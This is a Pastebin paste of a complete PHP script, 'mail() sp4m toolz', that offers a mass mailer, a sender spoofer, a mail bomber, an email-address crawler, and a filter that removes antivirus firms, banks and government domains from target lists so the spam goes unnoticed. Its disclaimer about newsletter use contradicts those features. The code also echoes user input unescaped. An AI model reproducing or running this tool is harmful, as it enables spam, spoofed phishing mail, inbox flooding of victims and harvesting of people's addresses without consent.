Guest User

mail() sp4m toolz

a guest
Oct 25th, 2011
665
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 10.85 KB | None | 0 0
  1. <html>
  2. <head>
  3. <script>
  4. function disclaimer(){
  5. alert("This script was designed for legal use only(eg:send newstellers) and  not for sending spam emails.Anyone misusing this script,will be responsible for his/her misdeeds.");
  6. }
  7. </script>
  8. <title>mail() sp4m toolz</title>
  9. <style>
  10. body{background-color:black;color:white;}
  11. h2{color:green;}
  12. .text{color:green;}
  13. A:link {text-decoration: none;color: green;}
  14. A:visited {text-decoration: none;color: green;}
  15. A:active {text-decoration: none;color: green;}
  16. A:hover {text-decoration: none;color: green;}
  17. </style>
  18. </head>
  19. <body>
  20. <?php
  21. /*
  22. author:qbert
  23. date: 21 october 2011
  24. visit: qbert.tor.hu
  25.         rstcenter.com
  26. */
  27.  
  28.  
  29. if(isset($_GET['file_path'])){
  30.     setcookie('file_path', $_GET['file_path'], 9999999999);
  31.     print '<script>alert("Mailing list has been selected!")</script>';
  32.     print '<meta http-equiv="refresh" content="0;url=' .  $_SERVER['PHP_SELF'] . '">';
  33.  
  34. }
  35. if(isset($_COOKIE['file_path'])){
  36.     $path = $_COOKIE['file_path'];
  37.     $file_color = 'green';
  38. }
  39. else{
  40.     $path = 'Not seted yet';
  41.     $file_color = 'red';
  42. }
  43. $time_limit = ini_get('max_execution_time');
  44. if($time_limit < 60 && $time_limit > 0 || $time_limit == 60){
  45.     $time_color = 'red';
  46. }
  47. if($time_limit < 120 && $time_limit > 30){
  48.     $time_color = 'orange';
  49. }
  50. if($time_limit > 120 || $time_limit == 120){
  51.     $time_color = 'green';
  52. }
  53. function customError($errno,$errstr){
  54.     global $mail_error;
  55.     $mail_error = $errno . $errstr;
  56. }
  57. set_error_handler('customError');
  58. mail('','','','');
  59. if(is_null($mail_error)){
  60.     $mail_function = 'Enabled';
  61.     $mail_f_color = 'green';
  62. }
  63. else{
  64.     $mail_function = 'Not enabled';
  65.     $mail_f_color = 'red';
  66. }
  67. restore_error_handler();
  68. if(isset($_GET['delete']) && $_GET['delete'] == 'cookies'){
  69. setcookie('file_path' , '' , time()-3600);
  70.     print '<script>alert("Mailing list has been unselected!")</script>';
  71.     print '<meta http-equiv="refresh" content="0;url=' .  $_SERVER['PHP_SELF'] . '">';
  72. }
  73. print '
  74.     <html>
  75.     <body bgcolor="black" >Server stats =><span class="text"> max_execution_time: <font color="'. $time_color .'">' .$time_limit. '</font></span> | <span class="text">mail() function : <font color="'. $mail_f_color .'">' . $mail_function . '</font></span> | <span class="text">file in use: <font color="'. $file_color .'">'. $path .'</font></span> # <a href="?delete=cookies">Delete</a> <span style="position:absolute;right:5px;"><font color="orange"><a onClick="disclaimer()">Disclaimer</a></font></span>
  76.     <hr /><center><h2><a href="'. $_SERVER['PHP_SELF'] .'">mail() sp4m toolz</a></h2></center><hr /></font>
  77.     ';
  78. print '
  79.     <center><a href="?mail=mass">[MASS MAILER]</a> # <a href="?mail=spoofer">[MAIL SPOOFER]</a> # <a href="?mail=bomber">[MAIL BOMBER]</a>  # <a href="?mail=crawler">[MAIL CRAWLER]</a> # <a href="?mail=junk_remover">[JUNK EMAILS REMOVER]</a> # <a href="?mail=about">[ABOUT]</a></center>
  80.     ';
  81. if($path == 'Not seted yet'){
  82.     print '<br/>
  83.     <center>First of all,you need to load your mailing list :<form action="'. $_SERVER['PHP_SELF'] .'" method="get"><input type="textbox" name="file_path" value="mails.txt" /><input type="submit" /></form></center>
  84.     ';
  85. }
  86.  
  87. if(isset($_GET['mail']) && $_GET['mail'] == 'mass' && $path != "Not seted yet"){
  88. print '
  89.     <center><h2 style="color:orange;">[mass mailer]</h2></center>
  90.     <br/>
  91.     <center>
  92.     <form action="?mail=mass&sent=ok" method="post">
  93.     From:&nbsp;&nbsp;&nbsp;<input type="textbox" name="from"><br/>
  94.     Subject:<input type="textbox" name="subject"><br/>Content:<br/>
  95.     <textarea name="content" cols="25" rows="10" name="content"></textarea><br/>
  96.     (The content box allows you to insert html tags).<br/>
  97.     Interval:<input type="texbox" size="2" name="interval">(in seconds(optional))<br/>
  98.     To: mails from <font color="green">'.$path  .'</font><br/>
  99.     <input type="submit">
  100.     </form>
  101.     </center>
  102.     ';
  103.     if(isset($_GET['sent']) && $_GET['sent'] == 'ok'){
  104.         if($_POST['from'] != "" && $_POST['subject'] != "" && $_POST['content'] != ""){
  105.             if($mail_function == 'Enabled'){
  106.                 $mailing_list = file($path);
  107.                 $mails_num = count($mailing_list);
  108.                 $i = 0;
  109.                 $from = 'From: ' . $_POST['from'];
  110.                     while($mails_num > $i){
  111.                     mail($mailing_list[$i],$_POST['subject'],$_POST['content'],$from);
  112.                         if(isset($_POST['interval']) && $_POST['interval']){
  113.                             sleep($_POST['interval']);
  114.                         }
  115.                     $i++;
  116.                 }              
  117.                 print '<script>alert("job d0ne")</script>';
  118.             }
  119.             else{
  120.                 print '<script>alert("D00H,mail() function is not enabled!")</script>';
  121.             }
  122.     }
  123.     else{
  124.         print '<script>alert("You haven`t filled one of the boxes!")</script>';
  125.     }
  126.     }
  127. }
  128. if(isset($_GET['mail']) && $_GET['mail'] == 'spoofer' && $path != "Not seted yet"){
  129. print '
  130.     <center><h2 style="color:orange;">[mail spoofer]</h2>
  131.     <font color="orange">! Not all systems can spoof mail adresses !</font><br/>
  132.     <form action="?mail=spoofer&sent=ok" method="post">
  133.     From:&nbsp;&nbsp;&nbsp;<input type="textbox" name="from"><br/>
  134.     To:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type="textbox" name="to"><br/>
  135.     Subject:<input type="textbox" name="subject"><br/>Content:<br/>
  136.     <textarea name="content" cols="25" rows="10" name="content"></textarea><br/>
  137.     (The content box allows you to insert html tags).<br/>
  138.     <input type="submit">
  139.     </form>
  140.     </center>';
  141.         if(isset($_GET['sent']) && $_GET['sent'] == 'ok'){
  142.             if($_POST['from'] != "" && $_POST['subject'] != "" && $_POST['content'] != "" && $_POST['to'] != ""){
  143.                 if($mail_function == 'Enabled'){
  144.                     $from = 'From: ' . $_POST['from'];
  145.                     mail($_POST['to'],$_POST['subject'],$_POST['content'],$from);
  146.                     print '<script>alert("job d0ne")</script>';}
  147.             else{
  148.                 print '<script>alert("D00H,mail() function is not enabled!")</script>';
  149.             }
  150.         }
  151.         else{
  152.             print '<script>alert("You haven`t filled one of the boxes!")</script>';
  153.         }
  154.     }
  155. }
  156. if(isset($_GET['mail']) && $_GET['mail'] == 'bomber' && $path != "Not seted yet"){
  157. print '
  158.     <center><h2 style="color:orange;">[mail b00mber]</h2>
  159.     <form action="?mail=bomber&sent=ok" method="post">
  160.     From:&nbsp;&nbsp;&nbsp;<input type="textbox" name="from"><br/>
  161.     To:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type="textbox" name="to"><br/>
  162.     Subject:<input type="textbox" name="subject"><br/>Content:<br/>
  163.     <textarea name="content" cols="25" rows="10" name="content"></textarea><br/>
  164.     (The content box allows you to insert html tags).<br/>
  165.     Number of mails:<input type="texbox" size="2" name="num_mails"><br/>
  166.     <input type="submit">
  167.     </form>
  168.     </center>';
  169.     if(isset($_GET['sent']) && $_GET['sent'] == 'ok'){
  170.         if($_POST['from'] != "" && $_POST['subject'] != "" && $_POST['content'] != "" && $_POST['to'] != "" && $_POST['num_mails'] != "" && is_numeric($_POST['num_mails'])){
  171.             if($mail_function == 'Enabled'){
  172.                 $i = 0;
  173.                 $from = 'From: ' . $_POST['from'];
  174.                 while($i < $_POST['num_mails']){
  175.                     mail($_POST['to'],$_POST['subject'],$_POST['content'],$from);
  176.                     $i++;
  177.                 }
  178.             print '<script>alert("job d0ne")</script>';}
  179.         else{
  180.             print '<script>alert("D00H,mail() function is not enabled!")</script>';
  181.         }
  182.         }
  183.  
  184.     else{
  185.         print '<script>alert("You haven`t filled one of the boxes!")</script>';
  186.     }
  187.     }
  188. }
  189. if(isset($_GET['mail']) && $_GET['mail'] == 'crawler' && $path != "Not seted yet"){
  190.     print '<center>
  191.     <h2 style="color:orange;">[mail crawler]</h2>
  192.     <form action="?mail=crawler&sent=ok" method="post">
  193.     Links to crawl:<br/>
  194.     <textarea name="links" cols="20" rows="10"></textarea><br/>
  195.     Links must be separated by commas.<br/>
  196.     <input type="radio" name="action" value="1">& save the mails into my mailing list<br/>
  197.     <input type="radio" name="action" value="2">& just print them here<br/>
  198.     <input type="submit"><br/>
  199.     </form>
  200.     </center>';
  201.         if(isset($_GET['sent']) && $_GET['sent'] == 'ok'){
  202.             if($_POST['links'] != "" && isset($_POST['action'])){
  203.                 $links = explode(',',$_POST['links']);
  204.                 $i = 0;
  205.                 $num_link = count($links) - 1;
  206.                 $string = '';
  207.                 while($i < $num_link || $i == $num_link){
  208.                     $temp_string = file_get_contents($links[$i]);
  209.                     $string .= $temp_string;
  210.                     $i++;
  211.                 }
  212.             $pattern = '/[a-zA-Z0-9-_.]+@[a-zA-Z0-9-_.]+.[a-zA-Z]{2,4}/';
  213.             preg_match_all($pattern,$string,$mails);
  214.             $second = max(array_map('count' , $mails));
  215.             $i = 0;
  216.             $mails0 = array();
  217.             $mails_4_print = array();
  218.             $mails0 = file($path);
  219.             while($i < $second){
  220.                 $mails0[] = $mails[0][$i] . "\n";
  221.                 $mails_4_print[] = $mails[0][$i];
  222.                 $i++;
  223.             }
  224.             if($_POST['action'] == 1){ 
  225.                 $handle = fopen($path,'w+');
  226.                 foreach($mails0 as $key => $value){
  227.                     fwrite($handle,$value );
  228.                 }
  229.                 print '<script>alert("job d0ne")</script>';
  230.                 fclose($handle);
  231.             }
  232.             else{
  233.             foreach($mails_4_print as $key => $value){
  234.                 print '<center>';
  235.                 print $value . '<br/>';
  236.             }
  237.                 }
  238.         }
  239.         else{
  240.             print '<script>alert("You haven`t filled one of the boxes!")</script>';
  241.         }
  242.         }
  243. }
  244. if(isset($_GET['mail']) && $_GET['mail'] == 'junk_remover' && $path != "Not seted yet"){
  245. print '<center>
  246.     <h2 style="color:orange;">[junk mails remover]</h2>
  247.     <form action="?mail=junk_remover&sent=ok" method="post">
  248.     (unwanted tlds must be separated by commas)<br/>
  249.     Unwanted tlds<input type="textbox" name="unwanted" value="gov.ro,bitdefender.ro,bitdefender.com,nasa.gov,avastantivirus.ro,avast.com,eset.ro,eset.com,piraeusbank.ro,bnro.ro,atebank.ro,raiffeisen.ro,ing.ro,avira.com,cec.ro,bcr.ro,librabank.ro,gemoney.ro,garantibank.ro,emporiki.ro,librabank.ro,procreditbank.ro,egnatiabank-rom.ro,millenniumbank.ro,leumi.ro,romexterra.ro,kaspersky.ro,kaspersky.com,avg.com,mcafee.com,symantec.com,norton.com,clamav.net"><br/>
  250.     Clean Mails from <font color="green">'. $path  .'</font><br/>
  251.     <input type="submit">
  252.     </form>
  253.     </center>';
  254.     if(isset($_GET['sent']) && $_GET['sent'] == 'ok'){
  255.         $file = $path;
  256.         $unwanted_tlds = explode(',' , $_POST['unwanted']);
  257.         $mail_list = fopen($file ,'r');
  258.         $tlds_num = count($unwanted_tlds);
  259.         $tlds_num = $tlds_num - 1;
  260.         $j = 0;
  261.         $malicious = 0;
  262.         while ($j <= $tlds_num){
  263.             $num_lines = count(file($file));
  264.             $i = 0;
  265.             $temp_file = file($file);
  266.             while ($i < $num_lines){
  267.                 $check = strpos($temp_file[$i],$unwanted_tlds[$j]);
  268.                 if($check != NULL){
  269.                     $malicious++;
  270.                     unset($temp_file[$i]);
  271.                     $mail_list = fopen($file ,'w+');
  272.                     foreach($temp_file as $key => $value){
  273.                         fwrite($mail_list,$value);
  274.                     }  
  275.                 }
  276.                 $i++;
  277.             }
  278.         $j++;
  279.         }
  280.     fclose($mail_list);
  281.     echo '<center><font color="green">d0ne!' . $malicious . ' malicious email adresses were removed!</font></center>';
  282.     }
  283. }
  284. if(isset($_GET['mail']) && $_GET['mail'] == 'about' && $path != "Not seted yet"){
  285. print '
  286. <br/>
  287. <center>
  288. <h2 style="color:orange;">mail() sp4m toolz v 0.1</h2>
  289. author: qbert<br/>
  290. visit : <a href="http://qbert.tor.hu">qbert.tor.hu</a><br/>
  291. &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<a href="http://rstcenter.com">rstcenter.com</a><br/>
  292. read the: <font color="orange"><a onClick="disclaimer()">Disclaimer</a></font>
  293. </center>
  294. ';
  295. }
  296. ?>
  297. </body>
  298.  
Advertisement
Add Comment
Please, Sign In to add comment